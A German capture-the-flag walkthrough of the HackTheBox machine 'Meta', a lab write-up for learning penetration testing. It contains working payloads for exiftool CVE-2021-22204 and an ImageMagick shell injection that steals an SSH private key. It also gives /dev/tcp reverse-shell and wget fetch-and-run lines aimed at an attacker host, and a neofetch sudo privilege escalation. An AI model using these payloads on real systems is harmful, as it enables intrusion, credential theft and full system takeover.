Einleitung

Meta ist eine als Medium eingestufte Maschine auf HackTheBox. Sie wurde Ende Januar 2022 veröffentlicht. Um die Maschine zu hacken ist es notwendig eine Schwachstelle in exiftool auszunutzen. Anschließend muss eine Schwachstelle des Moduls Mogrify aus der ImageMagick-Werkzeugsammlung ausgenutzt werden, um nach der ersten Shell den nächsten Benutzeraccount zu übernehmen. Als letzter Schritt wird eine Schwachstelle der Konfiguration von sudo und neofetech ausgenutzt, um Root-Zugang zu erhalten.

Dieser Artikel beschreibt die Lösung der Maschine und damit gilt: Spoileralarm!

Initiale Erkundung

Zunächst wird das System mithilfe von nmap gescannt. Um den Prozess zu vereinfachen, nutze ich dafür mein Skript mit dem Namen fast-nmap1.

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-23 14:57 CET
Nmap scan report for 10.129.140.80
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 (94%), Linux 5.4 (94%), Linux 5.0 - 5.4 (94%), Linux 5.3 - 5.4 (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), Linux 5.0 - 5.3 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   25.91 ms 10.10.14.1
2   25.95 ms 10.129.140.80

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.68 seconds

Es sind zwei Ports geöffnet: 22 (OpenSSH) und 80 (Apache Webserver). Üblicherweise gibt es in OpenSSH wenig zu holen, weshalb ein weiterer Blick auf den Webserver lohnt.

Nmap zeigt insbesondere eine Weiterleitung auf http://artcorp.htb/. Dies muss dann in der /etc/hosts-Datei ergänzt werden.

Webserver: artcorp.htb

Die Seite an sich sieht unspektakulär aus. Es scheint sich bei ArtCorp um eine Firma zu handeln, die Software entwickelt. Insbesondere wird gerade das Werkzeug MetaView entwickelt, ist aber nirgends auf der Seite aufzufinden. Vielleicht gibt es einen Entwicklungs-Server?

Webserver: Weitere virtuelle Hosts finden

Um weitere virtuelle Hosts zu finden, können verschiedene Tools eingesetzt werden, u. a. FFuF und gobuster. Beide Wege führen zum Ziel!

Die folgenden Code-Zeilen zeigen beide Wege auf.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://artcorp.htb -H "Host: FUZZ.artcorp.htb" -t 200 -fl 10 -mc 200
gobuster vhost -u http://artcorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Ergebnis des Scans: Es gibt einen weiteren virtuellen Host auf dem Webserver: dev01.artcorp.htb. Dies muss in der /etc/hosts-Datei vermerkt werden und anschließend kann die Seite im Internetbrowser aufgerufen werden.

Webserver: dev01.artcorp.htb

Hinter der neu entdeckten Subdomain verbirgt sich die aktuelle Entwickler-Version von MetaView.

Nach kurzem Test entpuppt sich die Funktionsfähigkeit wie folgt: Der Benutzer lädt ein Bild Über das Webformular hoch und MetaView liest die Exit-Daten des Bildes aus und gibt diese auf dem Bildschirm aus. Die Ausgabe gleicht der Ausgabe von exiftool2.

Exiftool Remote Code Execution

Eine kurze Recherche ergibt, dass es eine RCE-Schwachstelle in exiftool gibt3. Die Schwachstelle hat die Nummer CVE-2021-222044 erhalten. Ein Angreifer kann Schadende in einer Bild-Datei verstecken und ausführen. Der verlinkte Artikel beinhaltet eine Schritt-für-Schritt Anleitung mit Proof-of-Concept.

Proof-of-Concept

Um zu verifizieren, dass der Server diese Schwachstelle besitzt, werden die folgenden Befehle ausgeführt. Der Schad-Code wird in dem Bild mit dem Namen meta.jpg versteckt.

echo (metadata "\c${system('id')};") > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
exiftool -config configfile '-HasselbladExif<=exploit.djvu' meta.jpg 

Die configfile hat den folgenden Inhalt:

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%

Anschließend wird das Bild hochgeladen und die Ausgabe auf der Seite kontrolliert: Es hat funktioniert!

Exploit-Skript

Um die Ausnutzung des Exploits einfacher zu gestalten, habe ich ein kurzes Bash-Skript geschrieben, das die Erstellung eines mit Schad-Code behafteten Bildes teil-automatisiert.

#!/bin/bash

echo "Creating Exploit"
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
exiftool -config configfile '-HasselbladExif<=exploit.djvu' meta.jpg
echo "Exploit Created. Tidying up..."
rm exploit.djvu
rm payload.bzz
mv meta.jpg meta_exploit.jpg
mv meta.jpg_original meta.jpg
echo "Done"

Die Datei payload kann einfach editiert werden. Anschließend wird das Skript ausgeführt, um den Schad-Code in das Bild einzufügen.

Reverse Shell als www-data

Um eine stabile Reverse Shell zu erhalten, musste ich ein wenig herum probieren. Der Weg, der letztlich erfolgreich war, ist der Folgende.

Zunächst wird eine Datei mit dem Namen rev.sh erstellt, die den folgenden Inhalt hat:

bash -i >& /dev/tcp/10.10.14.140/4444 0>&1

Anschließend wird die Datei auf den Server übertragen:

(metadata "\c${system('wget -O /tmp/rev.sh http://10.10.14.140/rev.sh')};")

Im letzten Schritt wird die hochgeladene Datei auf dem Server ausgeführt, während ein netcat-Listener auf der Angreifer-Maschine läuft.

(metadata "\c${system('bash /tmp/rev.sh')};")

Das Ergebnis ist eine Reverse Shell als www-data.

Erkundung als www-data

www-data hat leider keine Rechte, um auf interessante Informationen auf dem System zuzugreifen. Um die User-Flag zu erhalten, müssen die Rechte weiter ausgeweitet werden.

Ein Blick in die /etc/passwd` zeigt, dass es einen weiteren Benutzer namens Thomas auf dem System gibt. In dessen Home-Verzeichnis liegt die User-Flag.

Laufende Prozesse und Cronjobs

pspy645 zeigt nach einigen Minuten eine wiederkehrende Aufgabe an.

Die wiederkehrende Aufgabe ruft mogrify auf und wandelt alle Dateien in /var/www/dev01.artcorp.htb/convert_images/ in .png-Dateien um.

mogrify gehört zur ImageMagick-Bibliothek und die Version, die auf dem Server läuft, hat eine Shell Injection-Schwachstelle6. Mithilfe des Proof-of-Concept auf der verlinkten Seite kann der private SSH-Schlüssel des Benutzers Thomas ausgelesen werden.

Rechteausweitung auf thomas (ImageMagick-Exploit)

Um Thomas’ SSH-Schlüssel zu erhalten, muss eine Datei mit dem Namen poc.svg angelegt werden, die folgenden Inhalt hat:

<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/key`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Diese wird anschließend in das Verzeichnis /var/www/dev01.artcorp.htb/convert_images/ kopiert. Sobald der Cron Job ausgeführt worden ist, ist Thomas’ privater SSH-Schlüssel in der Datei /dev/shm/key abgespeichert und kann genutzt werden, um sich als Thomas auf dem System per SSH anzumelden und die User-Flag zu erhalten.

Rechteausweitung auf root

Als erstes lohnt sich ein Blick auf die mit sudo ausführbaren Befehle.

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

In der Ausgabe sind zwei Punkte hervorzuheben:

  1. env_keep+=XDG_CONFIG_HOME bewirkt, dass die Umgebungsvariable XDG_CONFIG_HOME erhalten bleibt, wenn sudo genutzt wird.
  2. (root) NOPASSWD: /usr/bin/neofetch \"\" bedeutet, dass neofetch als root-Benutzer ausgeführt werden kann, ohne dass ein Kennwort eingegeben werden muss. Beim Start von neofetch wird eine Konfigurationsdatei unter ~/.config/neofetch/config.conf benutzt.

Das bedeutet, dass, wenn die Umgebungsvariable XDG_CONFIG_HOME auf das ~/.config-Verzeichnis zeigt, die neofetch-Konfiguration als root ausgeführt wird.

Um eine Reverse Shell zu erhalten, wird die Datei ~/.config/neofetch/config.conf in der ersten Zeile wie folgt ergänzt:

bash -i >& /dev/tcp/10.10.14.140/1337 0>&1
[Rest der Datei]

Außerdem wird die Umgebungsvariable wie folgt festgelegt:

export XDG_CONFIG_HOME="$HOME/.config"

Netcat-Listener nicht vergessen und sudo /usr/bin/neofetch \"\" ausführen. Es sollte eine Reverse Shell als Root geöffnet werden, mit der die Root-Flag gelesen werden kann!

Zusammenfassung

Die Maschine ist unter den als Medium eingestuften Maschinen eine der leichteren und zeigt wie wichtig eine penible Erkundung des Zielsystems ist. Die Reverse Shell zu erhalten war ein echter Kampf, da alle anderen Versuche (zig Möglichkeiten durchprobiert) nicht funktioniert haben. Die Privilege Escalation zum Benutzer root empfang ich als CTFig und nicht realistisch.

Alles in allem eine gute und unterhaltsame Maschine und definitiv für Anfänger geeignet!


  1. https://github.com/xenophil90/shell-scripts/blob/main/fast-nmap.sh ↩︎

  2. https://www.exiftool.org ↩︎

  3. https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/ ↩︎

  4. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204 ↩︎

  5. https://github.com/DominicBreuker/pspy ↩︎

  6. https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html ↩︎